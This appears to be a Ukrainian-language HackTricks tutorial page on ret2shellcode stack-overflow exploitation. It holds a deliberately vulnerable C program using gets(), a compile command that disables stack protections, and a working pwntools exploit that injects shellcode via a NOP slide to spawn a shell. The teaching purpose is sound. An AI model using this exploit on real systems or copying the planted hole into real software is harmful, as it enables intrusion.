hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md

108 lines
8.4 KiB
Markdown
Raw Normal View History

# Ret2Shellcode
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
</details>
2024-03-29 18:49:46 +00:00
## Базова інформація
2024-03-29 18:49:46 +00:00
**Ret2shellcode** - це техніка, яка використовується в бінарному експлуатації, де атакуючий записує shellcode в стек вразливої програми, а потім модифікує **Вказівник Інструкції (IP)** або **Розширений Вказівник Інструкції (EIP)**, щоб вказувати на місце цього shellcode, що призводить до його виконання. Це класичний метод, який використовується для незаконного доступу або виконання довільних команд на цільовій системі. Ось розбір процесу, включаючи простий приклад на мові C та як ви можете написати відповідний експлойт, використовуючи Python з **pwntools**.
2024-03-29 18:49:46 +00:00
### Приклад на мові C: Вразлива програма
2024-03-29 18:49:46 +00:00
Давайте розпочнемо з простого прикладу вразливої програми на мові C:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
2024-03-29 18:49:46 +00:00
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
2024-03-29 18:49:46 +00:00
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
2024-03-29 18:49:46 +00:00
Ця програма має уразливість на переповнення буфера через використання функції `gets()`.
2024-03-29 18:49:46 +00:00
### Компіляція
2024-03-29 18:49:46 +00:00
Для компіляції цієї програми з вимкненням різних захистів (для імітації вразливого середовища), ви можете використати наступну команду:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
2024-03-29 18:49:46 +00:00
* `-fno-stack-protector`: Вимикає захист стеку.
* `-z execstack`: Робить стек виконавчим, що необхідно для виконання shellcode, збереженого в стеці.
* `-no-pie`: Вимикає позиційно-незалежний виконуваний файл, що полегшує передбачення адреси пам'яті, де буде розташований наш shellcode.
* `-m32`: Компілює програму як 32-бітний виконуваний файл, часто використовується для спрощення розробки експлойтів.
2024-03-29 18:49:46 +00:00
### Експлойт на Python з використанням Pwntools
2024-03-29 18:49:46 +00:00
Ось як ви можете написати експлойт на Python, використовуючи **pwntools**, для виконання атаки **ret2shellcode**:
```python
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
```
2024-03-29 18:49:46 +00:00
Цей скрипт створює полезне навантаження, що складається з **NOP слайду**, **shellcode**, а потім перезаписує **EIP** адресою, що вказує на NOP слайд, забезпечуючи виконання shellcode.
2024-03-29 18:49:46 +00:00
**NOP slide** (`asm('nop')`) використовується для збільшення ймовірності того, що виконання "слайдуватиме" у наш shellcode незалежно від точної адреси. Налаштуйте аргумент `p32()` на початкову адресу вашого буфера плюс зміщення, щоб потрапити на NOP слайд.
2024-03-29 18:49:46 +00:00
## Захисти
2024-03-29 18:49:46 +00:00
* [**ASLR**](../common-binary-protections/aslr.md) **повинен бути вимкнений** для того, щоб адреса була надійною під час кожного виконання, або адреса, де буде збережена функція, не буде завжди однаковою, і вам знадобиться якийсь витік, щоб з'ясувати, де завантажена функція перемоги.
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) також повинні бути вимкнені, інакше компрометована адреса повернення EIP ніколи не буде виконана.
* [**NX**](../common-binary-protections/no-exec-nx.md) захист **стеку** перешкоджатиме виконанню shellcode всередині стеку, оскільки ця область не буде виконуваною.
2024-03-29 18:49:46 +00:00
## Інші Приклади
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
</details>